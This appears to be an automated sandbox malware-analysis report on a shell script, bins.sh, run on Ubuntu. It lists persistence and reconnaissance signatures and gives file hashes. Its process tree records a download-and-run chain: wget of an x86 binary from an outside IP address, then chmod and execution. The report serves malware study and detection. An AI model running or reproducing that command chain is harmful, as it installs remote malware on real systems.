Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23/07/2026, 02:52

General

  • Target
    bins.sh
  • Size 1KB
  • Sample260723-dc2zvsvxdy
  • SHA256 e884305886288e46cea6630d22737da6c4bfa68b582f2b18b5133aa885c791f3
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Creates/modifies environment variables 1 TTPs 3 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Write file to user bin folder 2 IoCs
  • Modifies Bash startup script 2 TTPs 3 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1486
    • /usr/bin/wget
      wget http://45.74.3.37:5001/x86 -O x86
      2⤵
      • Writes file to tmp directory
      PID:1487
    • /bin/chmod
      chmod +x x86
      2⤵
      • File and Directory Permissions Modification
      PID:1497
    • /tmp/x86
      ./x86
      2⤵
      • Creates/modifies environment variables
      • Write file to user bin folder
      • Modifies Bash startup script
      • Enumerates kernel/hardware configuration
      • Reads runtime system information
      PID:1498

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        x86

        • Path /tmp/x86
        • Size 5.5MB
        • SHA256 d62438047907e77f6e8761ac6976c62971a477c3ecdb090a06d632caf9fb2f93
        • MD5 SHA1 SHA512 SSDEEP TLSH